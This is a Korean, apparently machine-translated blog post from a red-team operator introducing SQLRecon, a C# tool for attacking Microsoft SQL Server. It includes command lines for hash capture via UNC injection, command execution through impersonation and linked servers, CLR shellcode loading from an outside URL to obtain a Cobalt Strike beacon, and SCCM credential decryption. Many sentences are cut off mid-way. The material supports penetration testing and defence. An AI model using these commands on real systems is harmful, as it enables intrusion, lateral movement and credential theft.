저는 경력을 쌓는 동안 세계 최대 규모의 조직의 뒤를 엿볼 수 있는 특권을 누렸습니다. 제 경험상 대부분의 산업 분야는 엔터프라이즈 Windows 네트워크에 의존하고 있습니다. 실제로 탈중앙화 제로 트러스트 네트워크, 엔터프라이즈 Linux, macOS 네트워크 또는 Active Directory 대안(FreeIPA)을 본 횟수는 한 손으로 셀 수 있을 정도입니다.
이렇게 크고 복잡한 엔터프라이즈 네트워크를 탐색할 때 일반적으로 비즈니스 기능을 지원하기 위해 배포되는 Microsoft SQL Server를 발견하는 경우가 많습니다. SQL Server에 익숙하지 않은 독자를 위해 설명하자면, SQL Server는 일반적으로 Windows 서버 위에 설치되는 관계형 데이터베이스 소프트웨어라는 점입니다. SQL Server의 기본 목적은 데이터를 저장하고 애플리케이션이나 사용자에게 제공하는 것입니다.
이 블로그 게시물에서는 SQL Server에서 나타나는 공격 표면과 X-Force Red 도구를 사용하여 잘못된 구성 및 취약점을 악용하는 방법을 살펴봅니다.
SQL Server의 취약성 및 잘못된 구성은 잘 문서화되어 있습니다. 이러한 약점은 항상 존재하는 것처럼 보이지만, 방어 팀은 어떻게든 SQL Server를 강화하는 것을 계속 간과하는 경우가 많습니다. 제가 주로 언급하는 것은 기본 구성을 강화하고 서비스에 대한 사소한 접근을 방지하는 것입니다.
이러한 실수의 그럴듯한 정당한 이유 중 하나는 조직이 우선순위를 정하고 해결해야 하는 더 큰 위험이 있기 때문입니다. 결과적으로 프로덕션 데이터베이스 구성을 변경하면 가용성 문제가 발생할 수 있으며, 이는 운영 문제로 이어져 궁극적으로 비즈니스 생산성에 영향을 미칠 수 있기 때문에 SQL Server 강화는 무산됩니다.
업계 뉴스레터
Think 뉴스레터를 통해 AI, 자동화, 데이터 등 가장 중요하고 흥미로운 업계 동향에 대한 최신 소식을 받아보세요. IBM 개인정보 보호정책을 참조하세요.
구독한 뉴스레터는 영어로 제공됩니다. 모든 뉴스레터에는 구독 취소 링크가 있습니다. 여기에서 구독을 관리하거나 취소할 수 있습니다. 자세한 정보는 IBM 개인정보 보호정책을 참조하세요.
엔터프라이즈 네트워크에서 가장 흔히 볼 수 있는 잘못된 구성 중 하나는 인증된 모든 도메인 개체가 낮은 권한 계정으로 SQL 서비스에 연결할 수 있다는 것입니다. 여기에는 유효한 도메인 컨텍스트만 필요합니다. 즉, 도메인 사용자 또는 도메인 컴퓨터 계정에 대한 유효한 토큰입니다.
예를 들어, 일반 비즈니스 사용자의 워크스테이션이 손상되고 잘못 구성된 SQL Server에 대한 네트워크 경로가 존재하는 경우 공격자는 다음과 같은 작업을 수행할 수 있습니다.
다음은 도메인 컨텍스트 내에서 잘못 구성된 SQL Server를 평가할 때 공격자가 얻을 수 있는 결과의 몇 가지 예일 뿐입니다. SQL Server가 제공하는 공격 표면은 항상 직면한 환경과 구성에 따라 달라집니다.
최근 레드팀 운영자들은 엔터프라이즈 Microsoft 네트워크에서 권한을 상승시키는 데 활용할 수 있는 다양한 Active Directory 남용으로 인해 많은 피해를 입고 있습니다. 그러나 방어 팀이 이러한 약점을 완화하는 데 능숙해지기 시작하면서 자연스럽게 Active Directory를 남용하여 권한을 상승시킬 수 있는 방법이 고갈되는 경향이 있습니다.
그럼에도 불구하고 우리는 목표를 달성하는 데 도움이 될 에스컬레이션 경로를 낙관적으로 모색하면서 공격의 속담에 따라 계속 나아가고 있습니다. 오랫동안 SQL Server를 공격하는 것은 저에게 있어 상당히 낮은 순위였다는 사실을 인정하기는 다소 꺼려집니다. 대신 공유 스토리지 공간, 내부 웹 애플리케이션, DevOps 툴링 또는 클라우드 인프라 등의 우선순위를 정하기로 했습니다. 아마 제가 무슨 말을 하려는지 아실 수 있을 겁니다...
2022년의 어느 시점, 저는 참여 중이었고 선호하는 에스컬레이션 경로를 모두 소진한 후 정체 지점에 도달했습니다. 이는 매우 잘 갖춰진 환경 덕분이었습니다. 적어도 잘못된 구성이나 취약성이 있는 대규모 SQL Server 팜을 발견하기 전에는 그렇게 생각했습니다.
당시에는 저도 몰랐고 이 블로그 게시물을 작성한 후에야 Kaspersky가 2022년에 SQL Server를 사용한 반복 공격이 56% 증가했다는 사실을 발견했습니다. 이는 엄청난 양입니다.
레드팀 운영자로서 저는 명령 및 제어(C2) 프레임워크를 사용하여 고객의 네트워크에서 손상된 시스템과 종종 상호 작용합니다. 운이 좋게도 우리와 협력할 수 있는 고객은 일반적으로 성숙한 사이버 보안 프로그램, 유능한 방어 팀, 엔드포인트 탐지 및 대응(EDR) 솔루션과 같은 최신 보안 제어를 보유하고 있습니다.
SQL Server를 공격하기 위한 몇 가지 도구가 수년에 걸쳐 개발되었습니다. 펜 테스팅을 할 때 항상 손이 가는 것은 다음과 같습니다.
EDR 솔루션은 공격적인 보안을 위해 설계된 악성 오픈 소스 툴링, 특히 PowerShell에 의존하는 툴링을 탐지하는 데 탁월한 성능을 발휘하기 때문에 강력한 상대가 될 수 있습니다. 제가 처한 환경에서 직면한 문제에 대한 해결책이 아니었을 뿐, PowerShell 사후 악용 도구가 목적에 부합한다는 의미는 아닙니다.
제가 참여하면서 직면한 문제는 Microsoft SQL Server에 연결하여 잘못된 구성이나 취약점이 있는지 확인하기 위한 조사를 시작해야 한다는 것이었습니다. 하지만 PowerShell을 사용하는 기존 SQL Server 사후 악용 도구를 사용하는 것이라면 방어 팀에 잡힐 수 있는 확실한 방법이었을 것입니다. 이는 여러 가지 이유 때문이며, 자세히 설명하지는 않겠습니다. 하지만 PowerShell은 AMSI, 제한된 언어 모드, 다양한 로깅 방식 같은 보안 기능 때문에 공격 후 공격을 효과적으로 처리하는 데 이상적인 수단이 아닙니다. 이는 EDR 솔루션과 기타 로깅 및 모니터링 제어가 마련되어 있는 경우에만 더욱 복잡해집니다.
대안으로, 레드팀 운영자는 Windows API와 함께 .NET 프레임워크와 쉽게 인터페이스할 수 있는 방법을 제공하기 때문에 악용 후 툴링을 개발할 때 사용할 언어로 C#을 선택하는 경우가 많습니다.
저는 C# 또는.NET 개발자는 아니지만 제가 직면한 문제를 해결하는 도구를 작성할 수 있을 만큼 충분히 알고 있습니다. 대기열 , 공격 정찰 및 사후 악용을 위해 설계된 C# SQL 툴킷입니다.
인증 공급자
열거 모듈
명령 실행, 수평 이동 및 권한 에스컬레이션
운영 보안
기타
각 기술에 대한 자세한 사용법은 위키를 참조하세요.
다가오는 데모를 위한 무대를 마련하기 위해 Jeff Smith가 소유한 손상된 Windows 10 워크스테이션에서 작업할 것입니다.
Jeff의 워크스테이션에는 각각 다른 버전(2016, 2019, 2022)을 실행하는 세 개의 SQL Server로 연결되는 네트워크 경로가 있습니다.
SQL 링크가 다음 사이에 구성되었습니다
또한 Active Directory 서비스(ADSI) 링크가 다음 사이에 존재합니다
마지막으로
그림 1: 네트워크 구성
더 나아가, 저는 인기 있는 명령 및 제어 프레임워크인 Cobalt Strike를 활용해 Jeff의 침해된 워크스테이션에서 악용 후 작업을 수행할 예정입니다
그림 2: whoami 명령 실행
이 글을 쓰는 시점에는SQLRecon 도메인에는 몇 개의 서로 다른 계정에 대해 SPN이 설정되어 있으며, 이는 아래 스크린샷에서 확인할 수 있습니다.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
그림 3: SPN 컬렉션을 통한 SQL Server 검색
SQLRecon.exe /a:winToken /h:SQL02 /m:info
그림 4: SQL02에 대한 정보 가져오기
표준 모듈에서 열거 모듈에 기여한 Daniel Duggan(@_RastaMouse)에게
표준 모듈은 SQL Server의 단일 인스턴스에 대해 실행됩니다.
다음 예시에서는
SQLRecon.exe /a:azuread /d:kawalabs.onmicrosoft.com /u:jsmith /p:xxxx /h:ecom01.database.windows.net /m:whoami
그림 5: 에 대한 SQL 권한 열거
기본적으로,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
그림 6: 다음에서 데이터베이스 열거하기
/
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
그림 7: 다음에서 더미 카드 데이터 가져오기
좀 더 흥미로운 모듈로 넘어가면,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
그림 8: UNC 경로 주입
다음 스크린샷에서는
그림 9: 다음을 위한 NetNTLMv2 해시 가져오기
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe에서 실행하려고 했습니다.
그림 10: 명령 실행을 방지하는 가드레일 데모 시연
위 이미지에서 볼 수 있듯이 실행 가드레일이 발생하고
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp로 명령을 실행한 후 원래의 보안 상태로 되돌릴 수 있습니다.
그림 11: 권한이 부족하여 명령 실행이 이루어지지 않는 또 다른 가드레일의 시연
예상대로 낮은 권한
SQL 사칭은 본질적으로 사용자 또는 그룹이 다른 사용자의 권한과 자신의 권한으로 동작할 수 있도록 하는 특별한 권한입니다. 다음 스크린샷은
그림 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
아래 스크린샷에서 볼 수 있듯이
그림 13: 다음에서 사칭할 수 있는 계정 열거하기
다른 명령 실행 모듈을 시연하기 위해
가장 모듈은 항상
a:WinToken /h:SQL02 /i:sa /m:iEnableOle에서 활성화합니다.
그림 14: 사칭을 사용한 OLE 자동화 절차 활성화
이제 OLE 자동화 프로시저가 활성화되었습니다.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
그림 15: PowerShell을 사용하여 원격 호스트의 디렉토리 나열
위의 스크린샷에서 볼 수 있듯이 무작위로 생성된 OLE 객체와 메서드가 생성되고 악성 명령이 실행된 후 OLE 객체가 파괴됩니다. 이는 저희의 행동에 대한 증거를 남기지 않으려는 의도적인 조치입니다.
다음 스크린샷에서는
그림 16: 다음을 위한 NetNTLMv2 해시 가져오기
다음 예시는 사칭을 사용하여
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
그림 17:
구성을 원래 상태로 되돌리는 것이 항상 좋은 방법입니다.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
그림 18: OLE 자동화 절차 비활성화 및
그림 19:
SQL Server 인스턴스에서 다른 SQL Server 인스턴스로 링크를 구성하려면 링크를 설정하고 바인딩하기 위한 일련의 권한이 있는 자격 증명이 필요한 경우가 많습니다. 이는 연결을 설정한 계정의 컨텍스트에서 연결된 SQL Server에서 명령을 실행할 수 있으므로 공격자에게 유용합니다. 또 다른 고려 사항은 연결된 서버가 공격자가 운영 중인 네트워크에서 분리되어 있을 수 있다는 점입니다. 이를 통해 세그멘테이션 경계를 넘어 보안 요구 사항이 더 높은 네트워크 영역에 진입할 수 있습니다.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
그림 20: 연결된 SQL Server 열거
연결된 모듈 앞에는 항상
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
그림 21: 가정할 수 있는 SQL 권한 열거
위 스크린샷에서 볼 수 있듯이
모든 실행 모듈(
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
그림 22: CLR 통합 활성화
CLR 통합을 통해 사용자 지정 .NET 어셈블리를 SQL Server로 가져올 수 있습니다. 이러한 어셈블리는 실행되기 전에 저장 프로시저 내부에 저장됩니다. 이것은 멋진 수평 이동 공격 프리미티브입니다.
다음 스크린샷에서는 다음과 같은 사용자 지정 SQL Server CLR 호환 .NET 어셈블리를 만들며 이는
그림 23:
사용자 지정 SQL Server CLR 호환 .NET 어셈블리에 대해 자세히 알아보려면.
다음 데모에서는
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
그림 24: 다음과 같은 상황에서 Cobalt Strike 비콘 확보
물론, 앞선 예시에서는
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
그림 25: 다음 맥락에서 Cobalt Strike 비콘 획득
그림 26:
SQL Server 인스턴스에서 Active Directory 도메인 컨트롤러로 ADSI 링크를 구성하는 데 권한 있는 자격 증명이 반드시 필요한 것은 아닙니다. 하지만 실제 운영에서는 최소 권한의 원칙이 적용되지 않는 사례를 보았습니다.
다음 예시에서는
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
그림 27: 링크 열거
이제
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
그림 28: 이중 링크 ADSI 자격 증명 수집 공격
가장 큰 확장 중 하나(
여기서부터는 간단히 ECM과 SCCM을 모두 SCCM이라고 부르겠습니다.
다음 예제에서는 데이터베이스 모듈을 사용하여 다음을 열거합니다.
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
그림 29: 다음에서 데이터베이스 열거
스크린샷 위에서 볼 수 있듯이
SCCM 모듈 앞에는 항상
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
그림 30: SCCM SQL Server 데이터베이스를 통해 SCCM에 로그인할 수 있는 모든 사용자 열거
다음을 사용하여 SCCM에서 구성된 작업을 열거할 수도 있습니다.
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
그림 31: SCCM SQL Server 데이터베이스를 통해 SCCM에 구성된 작업 열거
SCCM은 일반적으로 소프트웨어 패키지를 배포하거나 SCCM에서 제공하는 기타 다양한 작업을 수행하기 위해 환경의 시스템 또는 리소스에 인증하는 데 사용되는 자격 증명을 볼트에 저장해야 합니다.
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
그림 32: SCCM SQL Server 데이터베이스를 통해 자격 증명 가져오기
위의 스크린샷에서 하나의 자격 증명이 저장되어 있는 것을 볼 수 있습니다. 이 자격 증명은 다음과 같은 자격 증명입니다.
Adam Chester(@_xpn_)의 논리를 사용하면 SCCM 보관 자격 증명을 해독하고 보관 계정의 일반 텍스트 비밀번호를 얻을 수 있습니다. 이렇게 하려면 SCCM 서버에 대한 로컬 관리자 권한이 필요합니다. 다음 스크린샷에서는
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
그림 33: 저장된 SCCM 자격 증명 복호화
네트워크 수준에서 구현하려면 다음과 같은 보안 제어를 고려해야 합니다.
워크스테이션 및 서버를 제어합니다.
SQL Server에 대한 공격은 오늘날의 사이버 보안 환경에서 계속해서 관련이 있습니다. 공격자들은 방어적 통제를 회피하기 위해 기술을 지속적으로 발전시키고 있으며, 이를 통해 SQL Server와 같은 보조 서비스를 악용하는 사례가 점점 더 많아지고 있습니다. 이러한 공격은 더욱 정교하고 은밀하게 이루어지며, 기존의 보안 조치를 우회하기 위해 덜 일반적인 기술을 사용하는 경우가 많습니다.
공격자는 SQL Server를 악용하여 민감한 데이터에 무단으로 액세스하고, 데이터베이스를 조작하고, 전체 시스템을 손상시킬 수도 있습니다. 이러한 공격의 결과는 심각하여 데이터 침해, 재정적 손실 및 조직의 평판 손상으로 이어질 수 있습니다.
이러한 공격의 위험을 완화하려면 조직이 SQL Server 구성을 검토하고 보안을 위한 모범 사례를 채택하는 것이 중요합니다. 또한 조직은 실시간 모니터링, 이상 징후 탐지 및 행동 분석 능력을 제공하는 보안 솔루션에 투자해야 합니다. 이러한 솔루션은 공격을 보다 효과적으로 탐지하고 대응하여 중요한 데이터와 시스템에 미치는 잠재적 영향을 최소화하는 데 도움이 될 수 있습니다. 조직은 SQL Server 환경을 보호하기 위한 조치를 취함으로써 이러한 공격의 피해자가 될 위험을 크게 줄이고 귀중한 데이터 자산을 보호할 수 있습니다.
언제든지 안정적인 최신 버전을 찾을 수 있습니다.
Black Hat Las Vegas에 참석하는 중이며 더 자세한 내용을 알아보고 싶다면 8월 10일 목요일 오후 1시(태평양 표준시)에 열리는 제 세션 SQLRecon을 사용한 Microsoft SQL Server 악용에 참석하세요.